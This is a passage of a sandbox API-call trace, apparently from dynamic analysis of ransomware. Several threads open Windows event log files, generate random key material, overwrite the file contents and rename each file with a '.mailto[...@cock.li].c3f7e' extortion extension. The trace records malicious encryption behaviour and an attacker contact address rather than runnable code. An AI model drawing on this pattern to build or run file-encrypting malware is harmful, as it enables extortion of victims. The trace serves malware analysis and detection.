	[0084.647] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34758) returned 1
	[0084.647] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x61) returned 0x47ec9d0
	[0084.647] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34730
	[0084.647] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34528
	[0084.647] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34528) returned 1
	[0084.647] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0084.647] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0084.647] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x145) returned 0x2d5c040
	[0084.647] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.647] WriteFile (in: hFile=0x9d0, lpBuffer=0x2d5c040*, nNumberOfBytesToWrite=0x145, lpNumberOfBytesWritten=0x109bfce8, lpOverlapped=0x0 | out: lpBuffer=0x2d5c040*, lpNumberOfBytesWritten=0x109bfce8*=0x145, lpOverlapped=0x0) returned 1
	[0084.650] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5c040) returned 1
	[0084.650] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ec9d0) returned 1
	[0084.650] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34730) returned 1
	[0084.650] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ecea0) returned 1
	[0084.650] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77240) returned 1
	[0084.650] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781558) returned 1
	[0084.650] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a30) returned 1
	[0084.650] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0084.650] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x481a0e0
	[0084.650] wcscpy (in: _Dest=0x481a0e0, _Source="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx"
	[0084.650] wcscat (in: _Dest=0x481a0e0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0084.650] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x109bfca0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.652] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x47197a0
	[0084.652] NtSetInformationFile (FileHandle=0x9d0, IoStatusBlock=0x109bfc98, FileInformation=0x47197a0, Length=0xc2, FileInformationClass=0xa) returned 0x0
	[0087.788] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47197a0) returned 1
	[0087.788] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2de60) returned 1
	[0087.788] NtQueryInformationFile (in: FileHandle=0x9d0, IoStatusBlock=0x109bfcac, FileInformation=0x109bfc84, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x109bfcac, FileInformation=0x109bfc84) returned 0x0
	[0087.788] NtSetInformationFile (FileHandle=0x9d0, IoStatusBlock=0x109bfcac, FileInformation=0x109bfc84, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.803] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481a0e0) returned 1
	[0087.803] FlushFileBuffers (hFile=0x9d0) returned 1
	[0092.922] CloseHandle (hObject=0x9d0) 

Thread:
	id = 403
	os_tid = 0x1574

	[0076.946] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 0x20
	[0081.602] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0081.603] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x142c
	[0081.603] GetFileSizeEx (in: hFile=0x142c, lpFileSize=0x10a3f9f8 | out: lpFileSize=0x10a3f9f8*=69632) returned 1
	[0081.614] SetFilePointerEx (in: hFile=0x142c, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.614] ReadFile (in: hFile=0x142c, lpBuffer=0x10a3f97c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10a3f978, lpOverlapped=0x0 | out: lpBuffer=0x10a3f97c*, lpNumberOfBytesRead=0x10a3f978*=0x4, lpOverlapped=0x0) returned 1
	[0081.621] SetFilePointerEx (in: hFile=0x142c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.621] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.621] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33b68
	[0081.621] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33a00
	[0081.621] NtQuerySystemTime (in: CurrentTime=0x10a3f958 | out: CurrentTime=0x10a3f958*=132251868083588792) returned 0x0
	[0081.621] RtlRandom (in: Seed=0x10a3f964 | out: Seed=0x10a3f964) returned 0x645bc3b3
	[0081.621] RtlRandom (in: Seed=0x10a3f964 | out: Seed=0x10a3f964) returned 0x87926929
	[0081.621] RtlRandom (in: Seed=0x10a3f964 | out: Seed=0x10a3f964) returned 0x4e03a649
	[0081.621] RtlRandom (in: Seed=0x10a3f964 | out: Seed=0x10a3f964) returned 0xf9238744
	[0081.621] RtlRandom (in: Seed=0x10a3f964 | out: Seed=0x10a3f964) returned 0xea229c78
	[0081.621] RtlRandom (in: Seed=0x10a3f964 | out: Seed=0x10a3f964) returned 0x938e700e
	[0081.621] RtlRandom (in: Seed=0x10a3f964 | out: Seed=0x10a3f964) returned 0x6e0c9d63
	[0081.621] RtlRandom (in: Seed=0x10a3f964 | out: Seed=0x10a3f964) returned 0xe43a9bb6
	[0081.621] RtlRandom (in: Seed=0x10a3f964 | out: Seed=0x10a3f964) returned 0xc80aee0b
	[0081.621] RtlRandom (in: Seed=0x10a3f964 | out: Seed=0x10a3f964) returned 0xa44af94f
	[0081.621] RtlRandom (in: Seed=0x10a3f964 | out: Seed=0x10a3f964) returned 0xac516306
	[0081.621] RtlRandom (in: Seed=0x10a3f964 | out: Seed=0x10a3f964) returned 0x624072ee
	[0081.621] RtlRandom (in: Seed=0x10a3f964 | out: Seed=0x10a3f964) returned 0x63205ac2
	[0081.621] RtlRandom (in: Seed=0x10a3f964 | out: Seed=0x10a3f964) returned 0x27b9e566
	[0081.621] RtlRandom (in: Seed=0x10a3f964 | out: Seed=0x10a3f964) returned 0x6ba1a586
	[0081.621] RtlRandom (in: Seed=0x10a3f964 | out: Seed=0x10a3f964) returned 0xd31a5197
	[0081.621] RtlRandom (in: Seed=0x10a3f964 | out: Seed=0x10a3f964) returned 0xb75d225
	[0081.621] RtlRandom (in: Seed=0x10a3f964 | out: Seed=0x10a3f964) returned 0xb98a9d1d
	[0081.621] RtlRandom (in: Seed=0x10a3f964 | out: Seed=0x10a3f964) returned 0xbdfef314
	[0081.621] RtlRandom (in: Seed=0x10a3f964 | out: Seed=0x10a3f964) returned 0xb51b8b22
	[0081.621] RtlRandom (in: Seed=0x10a3f964 | out: Seed=0x10a3f964) returned 0x319645b1
	[0081.621] RtlRandom (in: Seed=0x10a3f964 | out: Seed=0x10a3f964) returned 0xf3ed0328
	[0081.621] RtlRandom (in: Seed=0x10a3f964 | out: Seed=0x10a3f964) returned 0x1fdde408
	[0081.621] RtlRandom (in: Seed=0x10a3f964 | out: Seed=0x10a3f964) returned 0x1597d0cd
	[0081.621] RtlRandom (in: Seed=0x10a3f964 | out: Seed=0x10a3f964) returned 0x61caed6c
	[0081.621] RtlRandom (in: Seed=0x10a3f964 | out: Seed=0x10a3f964) returned 0x76fea040
	[0081.621] RtlRandom (in: Seed=0x10a3f964 | out: Seed=0x10a3f964) returned 0x87c672c1
	[0081.621] RtlRandom (in: Seed=0x10a3f964 | out: Seed=0x10a3f964) returned 0x50a5b124
	[0081.621] RtlRandom (in: Seed=0x10a3f964 | out: Seed=0x10a3f964) returned 0x23535832
	[0081.621] RtlRandom (in: Seed=0x10a3f964 | out: Seed=0x10a3f964) returned 0x317c8581
	[0081.621] RtlRandom (in: Seed=0x10a3f964 | out: Seed=0x10a3f964) returned 0x338f364c
	[0081.621] RtlRandom (in: Seed=0x10a3f964 | out: Seed=0x10a3f964) returned 0x4d64ea29
	[0081.628] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33938
	[0081.630] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0081.630] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33a28
	[0081.630] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0081.630] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33a00) returned 1
	[0081.630] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.630] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x46f5870
	[0081.630] SetFilePointerEx (in: hFile=0x142c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.630] ReadFile (in: hFile=0x142c, lpBuffer=0x46f5870, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x10a3f938, lpOverlapped=0x0 | out: lpBuffer=0x46f5870*, lpNumberOfBytesRead=0x10a3f938*=0xc800, lpOverlapped=0x0) returned 1
	[0081.632] SetFilePointerEx (in: hFile=0x142c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.632] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfad18
	[0081.632] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04450
	[0081.632] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.632] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.633] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4851828
	[0081.633] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33c30
	[0081.634] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.634] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.634] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04450) returned 1
	[0081.634] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad18) returned 1
	[0081.634] WriteFile (in: hFile=0x142c, lpBuffer=0x4851828*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x10a3f938, lpOverlapped=0x0 | out: lpBuffer=0x4851828*, lpNumberOfBytesWritten=0x10a3f938*=0xc800, lpOverlapped=0x0) returned 1
	[0081.636] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4851828) returned 1
	[0081.636] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46f5870) returned 1
	[0081.636] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6b) returned 0x2e04630
	[0081.636] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfad18
	[0081.636] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e045b8
	[0081.636] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339b0
	[0081.636] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339b0) returned 1
	[0081.636] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6b) returned 0x2e04360
	[0081.636] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339b0
	[0081.636] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33910
	[0081.636] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33910) returned 1
	[0081.636] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e045b8) returned 1
	[0081.636] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad18) returned 1
	[0081.636] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14f) returned 0x2e02570
	[0081.636] SetFilePointerEx (in: hFile=0x142c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.636] WriteFile (in: hFile=0x142c, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x14f, lpNumberOfBytesWritten=0x10a3f9b8, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x10a3f9b8*=0x14f, lpOverlapped=0x0) returned 1
	[0081.638] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0081.638] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04360) returned 1
	[0081.638] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339b0) returned 1
	[0081.638] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.638] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33c30) returned 1
	[0081.638] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33b68) returned 1
	[0081.638] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33938) returned 1
	[0081.638] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33a28) returned 1
	[0081.638] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x476af28
	[0081.638] wcscpy (in: _Dest=0x476af28, _Source="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx"
	[0081.638] wcscat (in: _Dest=0x476af28, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.638] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x10a3f970, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.638] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x46a5968
	[0081.638] NtSetInformationFile (FileHandle=0x142c, IoStatusBlock=0x10a3f968, FileInformation=0x46a5968, Length=0xcc, FileInformationClass=0xa) returned 0x0
	[0087.777] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46a5968) returned 1
	[0087.777] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476b8c0) returned 1
	[0087.777] NtQueryInformationFile (in: FileHandle=0x142c, IoStatusBlock=0x10a3f97c, FileInformation=0x10a3f954, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x10a3f97c, FileInformation=0x10a3f954) returned 0x0
	[0087.777] NtSetInformationFile (FileHandle=0x142c, IoStatusBlock=0x10a3f97c, FileInformation=0x10a3f954, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.779] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476af28) returned 1
	[0087.779] FlushFileBuffers (hFile=0x142c) returned 1
	[0092.884] CloseHandle (hObject=0x142c) 

Thread:
	id = 404
	os_tid = 0x1578

	[0076.946] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 0x20
	[0081.618] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx", dwFileAttributes=0x20) returned 1
	[0081.635] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1430
	[0081.635] GetFileSizeEx (in: hFile=0x1430, lpFileSize=0x10abfae4 | out: lpFileSize=0x10abfae4*=69632) returned 1
	[0081.635] SetFilePointerEx (in: hFile=0x1430, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.635] ReadFile (in: hFile=0x1430, lpBuffer=0x10abfa68, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10abfa64, lpOverlapped=0x0 | out: lpBuffer=0x10abfa68*, lpNumberOfBytesRead=0x10abfa64*=0x4, lpOverlapped=0x0) returned 1
	[0081.640] SetFilePointerEx (in: hFile=0x1430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.640] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.640] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33c30
	[0081.640] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33820
	[0081.640] NtQuerySystemTime (in: CurrentTime=0x10abfa44 | out: CurrentTime=0x10abfa44*=132251868083744871) returned 0x0
	[0081.640] RtlRandom (in: Seed=0x10abfa50 | out: Seed=0x10abfa50) returned 0xa4029ee1
	[0081.640] RtlRandom (in: Seed=0x10abfa50 | out: Seed=0x10abfa50) returned 0x53c2963f
	[0081.640] RtlRandom (in: Seed=0x10abfa50 | out: Seed=0x10abfa50) returned 0xc20fc06
	[0081.640] RtlRandom (in: Seed=0x10abfa50 | out: Seed=0x10abfa50) returned 0x76c82487
	[0081.640] RtlRandom (in: Seed=0x10abfa50 | out: Seed=0x10abfa50) returned 0x4143de77
	[0081.640] RtlRandom (in: Seed=0x10abfa50 | out: Seed=0x10abfa50) returned 0x16e9ab8f
	[0081.640] RtlRandom (in: Seed=0x10abfa50 | out: Seed=0x10abfa50) returned 0x4c9f40ef
	[0081.640] RtlRandom (in: Seed=0x10abfa50 | out: Seed=0x10abfa50) returned 0x9669d5de
	[0081.640] RtlRandom (in: Seed=0x10abfa50 | out: Seed=0x10abfa50) returned 0x1335a38a
	[0081.640] RtlRandom (in: Seed=0x10abfa50 | out: Seed=0x10abfa50) returned 0x4a51616e
	[0081.640] RtlRandom (in: Seed=0x10abfa50 | out: Seed=0x10abfa50) returned 0xfcc7c1d3
	[0081.640] RtlRandom (in: Seed=0x10abfa50 | out: Seed=0x10abfa50) returned 0x556902bc
	[0081.640] RtlRandom (in: Seed=0x10abfa50 | out: Seed=0x10abfa50) returned 0x5a0c9d0b
	[0081.640] RtlRandom (in: Seed=0x10abfa50 | out: Seed=0x10abfa50) returned 0xa2a36187
	[0081.640] RtlRandom (in: Seed=0x10abfa50 | out: Seed=0x10abfa50) returned 0x5c8dd6c0
	[0081.640] RtlRandom (in: Seed=0x10abfa50 | out: Seed=0x10abfa50) returned 0x6ed1356c
	[0081.640] RtlRandom (in: Seed=0x10abfa50 | out: Seed=0x10abfa50) returned 0x69e8044d
	[0081.640] RtlRandom (in: Seed=0x10abfa50 | out: Seed=0x10abfa50) returned 0x6d6fece8
	[0081.640] RtlRandom (in: Seed=0x10abfa50 | out: Seed=0x10abfa50) returned 0x1db2a0e9
	[0081.640] RtlRandom (in: Seed=0x10abfa50 | out: Seed=0x10abfa50) returned 0x63a3759e
	[0081.640] RtlRandom (in: Seed=0x10abfa50 | out: Seed=0x10abfa50) returned 0xd50ad737
	[0081.640] RtlRandom (in: Seed=0x10abfa50 | out: Seed=0x10abfa50) returned 0xf6181372
	[0081.640] RtlRandom (in: Seed=0x10abfa50 | out: Seed=0x10abfa50) returned 0x5d9b307c
	[0081.640] RtlRandom (in: Seed=0x10abfa50 | out: Seed=0x10abfa50) returned 0xa3ce80f5
	[0081.640] RtlRandom (in: Seed=0x10abfa50 | out: Seed=0x10abfa50) returned 0x2c04102e
	[0081.641] RtlRandom (in: Seed=0x10abfa50 | out: Seed=0x10abfa50) returned 0x3d40074d
	[0081.641] RtlRandom (in: Seed=0x10abfa50 | out: Seed=0x10abfa50) returned 0xaca2e6d3
	[0081.641] RtlRandom (in: Seed=0x10abfa50 | out: Seed=0x10abfa50) returned 0x3a0baea0
	[0081.641] RtlRandom (in: Seed=0x10abfa50 | out: Seed=0x10abfa50) returned 0x1824e9c6
	[0081.641] RtlRandom (in: Seed=0x10abfa50 | out: Seed=0x10abfa50) returned 0x99df61c0
	[0081.641] RtlRandom (in: Seed=0x10abfa50 | out: Seed=0x10abfa50) returned 0x9a9555c2
	[0081.641] RtlRandom (in: Seed=0x10abfa50 | out: Seed=0x10abfa50) returned 0x9a819390
	[0081.647] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33b40
	[0081.649] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04630
	[0081.649] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33910
	[0081.649] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.649] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33820) returned 1
	[0081.649] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.649] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x46f5870
	[0081.649] SetFilePointerEx (in: hFile=0x1430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.649] ReadFile (in: hFile=0x1430, lpBuffer=0x46f5870, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x10abfa24, lpOverlapped=0x0 | out: lpBuffer=0x46f5870*, lpNumberOfBytesRead=0x10abfa24*=0xc800, lpOverlapped=0x0) returned 1
	[0081.651] SetFilePointerEx (in: hFile=0x1430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.651] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.651] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0081.651] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33b68
	[0081.651] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33b68) returned 1
	[0081.651] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4851828
	[0081.652] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339b0
	[0081.652] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.652] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.652] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0081.652] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.652] WriteFile (in: hFile=0x1430, lpBuffer=0x4851828*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x10abfa24, lpOverlapped=0x0 | out: lpBuffer=0x4851828*, lpNumberOfBytesWritten=0x10abfa24*=0xc800, lpOverlapped=0x0) returned 1
	[0084.774] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4851828) returned 1
	[0084.777] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46f5870) returned 1
	[0084.780] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6d) returned 0x2e04720
	[0084.780] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e343e8) returned 1
	[0084.780] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6d) returned 0x2e041f8
	[0084.780] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e341b8
	[0084.780] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34460
	[0084.780] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34460) returned 1
	[0084.780] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0084.780] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0084.780] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x151) returned 0x2d5c040
	[0084.780] SetFilePointerEx (in: hFile=0x1430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.780] WriteFile (in: hFile=0x1430, lpBuffer=0x2d5c040*, nNumberOfBytesToWrite=0x151, lpNumberOfBytesWritten=0x10abfaa4, lpOverlapped=0x0 | out: lpBuffer=0x2d5c040*, lpNumberOfBytesWritten=0x10abfaa4*=0x151, lpOverlapped=0x0) returned 1
	[0084.797] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5c040) returned 1
	[0084.797] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e041f8) returned 1
	[0084.797] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e341b8) returned 1
	[0084.797] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04720) returned 1
	[0084.797] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339b0) returned 1
	[0084.797] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33c30) returned 1
	[0084.797] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33b40) returned 1
